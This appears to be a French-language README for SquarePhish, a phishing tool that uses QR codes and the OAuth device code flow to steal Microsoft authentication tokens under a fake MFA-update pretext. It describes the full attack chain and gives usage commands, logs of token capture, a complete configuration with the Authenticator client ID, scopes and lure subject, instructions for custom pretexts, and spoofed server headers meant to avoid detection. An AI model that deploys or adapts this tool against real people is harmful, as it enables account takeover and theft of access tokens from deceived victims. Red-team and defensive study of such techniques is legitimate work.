
Outil de phishing avancé combinant le flux d'authentification par code d'appareil OAuth avec des codes QR pour récolter des jetons d'authentification Microsoft via des prétextes de mise à jour MFA.
SquarePhish est un outil de phishing avancé qui utilise une technique combinant le flux d'authentification par code d'appareil OAuth et les codes QR.
Voir PhishInSuits pour plus de détails sur l'utilisation du flux de code d'appareil OAuth pour les attaques de phishing.
_____ _____ _ _ _
/ ____| | __ \| | (_) | |
| (___ __ _ _ _ __ _ _ __ ___| |__) | |__ _ ___| |__
\___ \ / _` | | | |/ _` | '__/ _ \ ___/| '_ \| / __| '_ \
____) | (_| | |_| | (_| | | | __/ | | | | | \__ \ | | |
|_____/ \__, |\__,_|\__,_|_| \___|_| |_| |_|_|___/_| |_|
| |
|_|
_________
| | /(
| O |/ (
|> |\ ( v0.1.0
|_________| \(
usage: squish.py [-h] {email,server} ...
SquarePhish -- v0.1.0
optional arguments:
-h, --help show this help message and exit
modules:
{email,server}
email send a malicious QR Code email to a provided victim
server host a malicious server QR Codes generated via the 'email' module will
point to that will activate the malicious OAuth Device Code flow
Un attaquant peut utiliser le module email de SquarePhish pour envoyer un courriel malveillant contenant un code QR à une victime. Le prétexte par défaut est que la victime doit mettre à jour son authentification Microsoft MFA pour continuer à utiliser le courriel mobile. L'identifiant client actuellement utilisé est l'application Microsoft Authenticator.
En envoyant d'abord un code QR, l'attaquant peut éviter de démarrer prématurément le flux de code d'appareil OAuth qui ne dure que 15 minutes.
La victime scannera ensuite le code QR trouvé dans le corps du courriel avec son appareil mobile. Le code QR dirigera la victime vers le serveur contrôlé par l'attaquant (exécutant le module server de SquarePhish), avec un paramètre d'URL défini sur son adresse e-mail.
Lorsque la victime visite le serveur malveillant SquarePhish, un processus en arrière-plan est déclenché qui démarrera le flux d'authentification par code d'appareil OAuth et enverra à la victime un code d'appareil généré qu'elle devra ensuite saisir sur le site légitime de code d'appareil Microsoft (cela démarrera le minuteur de 15 minutes du flux OAuth).
Le serveur SquarePhish continuera ensuite à interroger l'authentification en arrière-plan.
[2022-04-08 14:31:51,962] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:31:57,185] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:02,372] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:07,516] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:12,847] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:17,993] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:23,169] [info] [[email protected]] Polling for user authentication...
[2022-04-08 14:32:28,492] [info] [[email protected]] Polling for user authentication...
La victime visitera ensuite le site d'authentification par code d'appareil Microsoft soit à partir du lien fourni dans l'e-mail, soit via une redirection depuis la visite de l'URL SquarePhish sur son appareil mobile.
La victime saisira ensuite le code d'appareil fourni et sera invitée à donner son consentement.
Après que la victime se soit authentifiée et ait donné son consentement, un jeton d'authentification est enregistré localement et fournira à l'attaquant un accès via la portée définie de l'application demandeuse.
[2022-04-08 14:32:28,796] [info] [[email protected]] Token info saved to [email protected]
La définition de portée actuelle :
"scope": ".default offline_access profile openid"
!IMPORTANT : Avant d'utiliser l'un ou l'autre module, mettez à jour les informations requises dans le fichier settings.config notées avec
Required.
Envoyer à la victime cible un code QR généré qui déclenchera le flux de code d'appareil OAuth.
usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
-e EMAIL, --email EMAIL
victim email address to send initial QR code email to
-u URL, --url URL force a url to use, this will override the default
and will not work with default device flow or
pretext but can be useful if using squarephish to
send lures directing targets to other servers
Héberger un serveur vers lequel un code QR généré sera dirigé et qui, lorsqu'il sera demandé, déclenchera le flux de code d'appareil OAuth.
usage: squish.py server [-h] [-c CONFIG] [--debug]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
Tous les paramètres applicables pour l'exécution peuvent être trouvés et modifiés via le fichier settings.config. Plusieurs informations obligatoires n'ont pas de valeur par défaut et doivent être remplies par l'utilisateur : SMTP_EMAIL, SMTP_PASSWORD et SQUAREPHISH_SERVER (uniquement lors de l'exécution du module email). Toutes les options de configuration ont été documentées dans le fichier de paramètres via des commentaires en ligne.
Remarque : Les valeurs SQUAREPHISH_ présentes dans la section 'EMAIL' de la configuration doivent correspondre aux valeurs définies lors de l'exécution du serveur SquarePhish.
[DEFAULT]
SMTP_PORT = 465 # SMTP port, defaulted to 465
SMTP_SERVER = "smtp.gmail.com" # SMTP server, defaulted to GMail
SMTP_PROTO = "ssl" # SMTP protocol: {ssl, tls, None (leave empty)}
SMTP_EMAIL = "" # Provide authenticating email address here
SMTP_PASSWORD = "" # Provide authenticating password here
[EMAIL]
SQUAREPHISH_SERVER = "" # Required: Provide IP address/domain name of hosted SquarePhish server
SQUAREPHISH_PORT = 8443 # Hosted SquarePhish server port, defaulted to 8443 (this should match the below server value)
SQUAREPHISH_ENDPOINT = "/mfa" # Hosted SquarePhish endpoint to trigger OAuth Device Code flow, defaulted to an MFA pretext (this should match the below server value)
FROM_EMAIL = "[email protected]" # Default FROM address when sending an email
SUBJECT = "ACTION REQUIRED: Multi-Factor Authentication (MFA) Update" # Default SUBJECT when sending an email, defauled to an MFA pretext
EMAIL_TEMPLATE = "pretexts/mfa/qrcode_email.html" # Email body template for QR code email to victim
[SERVER]
PORT = 8443
FROM_EMAIL = "[email protected]" # Default FROM address when sending an email
SUBJECT = "ACTION REQUIRED: Multi-Factor Authentication (MFA) Update" # Default SUBJECT when sending an email, defauled to an MFA pretext
CLIENT_ID = "4813382a-8fa7-425e-ab75-3b753aab3abb" # Authenticating client ID, defaulted to Microsoft Authenticator App
ENDPOINT = "/mfa" # Hosted endpoint to trigger OAuth Device Code flow, defaulted to an MFA pretext
CERT_CRT = "" # Server SSL certificate .crt file
CERT_KEY = "" # Server SSL certificate .key file
EMAIL_TEMPLATE = "pretexts/mfa/devicecode_email.html" # Email body template for device code email to victim
PERMISSION_SCOPE = ".default offline_access profile openid" # OAuth permission scope - https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-permissions-and-consent
Actuellement, les prétextes prédéfinis se trouvent dans le dossier pretexts.
Pour écrire des prétextes personnalisés, utilisez le modèle existant via le dossier pretexts/iphone/. Un modèle d'e-mail est requis à la fois pour l'e-mail initial avec code QR et pour l'e-mail de suivi avec code d'appareil.
Important : Lors de l'écriture d'un prétexte personnalisé, notez la présence de %s dans les deux modèles de prétexte. Cela permet à SquarePhish de remplir les données correctes lors de la génération des e-mails (données du code QR et/ou valeur du code d'appareil).
Plusieurs en-têtes de réponse HTTP sont définis dans le fichier utils.py. Ces en-têtes sont définis pour remplacer toute valeur existante d'en-tête de réponse Flask et pour fournir une réponse plus 'légitime' du serveur. Ces valeurs d'en-tête peuvent être modifiées, supprimées et/ou des en-têtes supplémentaires peuvent être inclus pour une meilleure OPSEC.
{
"vary": "Accept-Encoding",
"server": "Microsoft-IIS/10.0",
"tls_version": "tls1.3",
"content-type": "text/html; charset=utf-8",
"x-appversion": "1.0.8125.42964",
"x-frame-options": "SAMEORIGIN",
"x-ua-compatible": "IE=Edge;chrome=1",
"x-xss-protection": "1; mode=block",
"x-content-type-options": "nosniff",
"strict-transport-security": "max-age=31536000",
}